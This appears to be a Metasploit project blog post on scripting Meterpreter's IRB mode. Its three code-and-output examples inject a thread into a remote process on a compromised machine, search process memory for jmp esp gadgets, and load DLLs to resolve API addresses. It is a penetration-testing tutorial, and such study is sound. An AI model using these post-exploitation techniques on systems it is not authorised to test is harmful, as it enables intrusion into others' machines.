Last updated at Fri, 12 Jan 2024 01:13:16 GMT

So what does it mean when we talk about all the cool automation support that Metasploit 3.0 has? Well, the answer is fairly broad. It means you can implement plugins and other tools that can be used to extend and automate a number of features included in the framework. By virtue of this fact, it means that you can extend and automate one of the areas that I personally find the most interesting: post-exploitation payloads. Spoonm and I recently completed a tour of duty describing some of the cool accomplishments in the area of post-exploitation technology. One post-exploitation payload that we focused most of our attention on was Meterpreter. In Metasploit 3.0, we spent some time thinking about what could be done to make meterpreter more useful. As you might have guessed, our conclusion was to make it more accessible from a scripting level rather than strictly through the user-interface. Through some of the examples below, I hope to illustrate a few random things you can do with this scripting interface. Keep in mind that this is just an very small example of the things that you can do :).

To easily demonstrate these examples, I made use of Meterpreter's builtin IRB mode.  For those familiar with the irb script that comes with Ruby, you'll be right at home with Meterpreter's IRB mode. In IRB mode, you can drop into what is most easily thought of as a Ruby shell. In this shell (with full readline support), you can write Ruby on the fly to do whatever it is you want. In this case, we'll be writing a few small scriptlets that operate on an established Meterpreter client connection. Even though I used IRB mode, it is equally possible to write standalone scripts. To drop into IRB mode from a Meterpreter session, simply do the following:


meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>>

The client variable is automatically scoped such that it represents the Meterpreter client session. Through the client instance it is possible to access all of the features provided by the Meterpreter session and its extensions. With the background out of the way, it's time to actually demonstrate some stuff.

Example #1: Creating a thread and running arbitrary code

This example shows how you can use Meterpreter to create a thread that executes arbitrary code that you define either in the current process or in another process running on an exploited machine. Perhaps you have a payload blob lying around that you previously used as a staged payload and now you want to execute it after you've successfully loaded meterpreter? Or perhaps you have other uses...


>> p = client.sys.process.execute('calc.exe')
>> buf = p.memory.allocate(4096)
=> 7929856
>> "%.8x" % 7929856
=> "00790000"
>> p.memory.write(0x00790000, "\xcc")
=> 1
>> thr = p.thread.create(0x00790000, 0)

As shown above, calc.exe is executed and a process instance is stored in the variable p.  From there, 4096 bytes of memory is allocated at an arbitrary location, the address of which is stored in the variable buf.  From there, the arbitrary payload is written to the region of memory (which in this case is simply \xcc). Finally, we create a thread using the base address of the allocation as the thread entry point. The end result: a new thread is created that executes our int 3.

Example #2: Searching a process' address space

What if you have a specific chunk of data that you want to locate in a process' address space? Fear not, for Meterpreter has builtin support for performing all of the basic memory management functions that will allow you to search for whatever it is you want. In this example, we're simply searching the address space for the locations of a jmp esp instruction.  Why would we want to do this?  Who knows.  It's just an illustration :).


>> p = client.sys.process.open
>> addr = 0
=> 0
>> while addr <= 0x7ffe0000
>>    info  = p.memory.query(addr)
>>    addr = info['RegionSize']
>>    next if (info['Available'])
>>    buf   = p.memory.read(info['BaseAddress'], info['RegionSize'])
>>    off   = 0
>>    while off = buf.index("\xff\xe4", off)
>>       puts "jmp esp at %.8x" % (info['BaseAddress'] off)
>>       off = 1
>>    end
>> end
jmp esp at 00235028
jmp esp at 004894fb
jmp esp at 010197c4
jmp esp at 01019a0d
...
jmp esp at 77e4c57e
jmp esp at 77f5801c
jmp esp at 77f77343
=> nil

This approach works simply by enumerating all of the regions in a process' address space (in this case the current process). As it finds regions that aren't available (meaning they are allocated), it reads the entire region and searches for the opcodes that compose the jmp esp instruction.  As it finds matches, it displays the locations at which they reside.

Example #3: Loading libraries and getting symbol addresses

What if you want to write some custom code to proxy calls to API functions on the remote machine? Well, if you're going to do that, then you're going to need some way to load libraries and resolve the locations of the symbols via the dynamic loader. To facilitate this (and other things), Meterpreter provides an (hopefully) easy interface. The example below shows how you can load a library, in this case ws2_32.dll into the address space of a process and then proceed to resolve symbols.


>> p = client.sys.process.execute('calc')
>> "%.8x" % p.image['kernel32.dll']
=> "77e60000"
>> "%.8x" % p.image['ws2_32.dll']
=> "00000000"
>> p.image.load('ws2_32.dll')
=> 1907032064
>> "%.8x" % p.image['ws2_32.dll']
=> "71ab0000"
>> "%.8x" % p.image.get_procedure_address('ws2_32.dll', 'connect')
=> "71ab3e5d"

Fairly straight forward, right?

In this post, I focused primarily on memory management and the dynamic loader interface. Keep in mind that these are just a few examples of the things you can do with a process. Furthermore, these are just a few examples of the things you can do with Meterpreter itself. With the ability to load arbitrary extensions (in the form of DLLs), the possibilities are endless...or something :).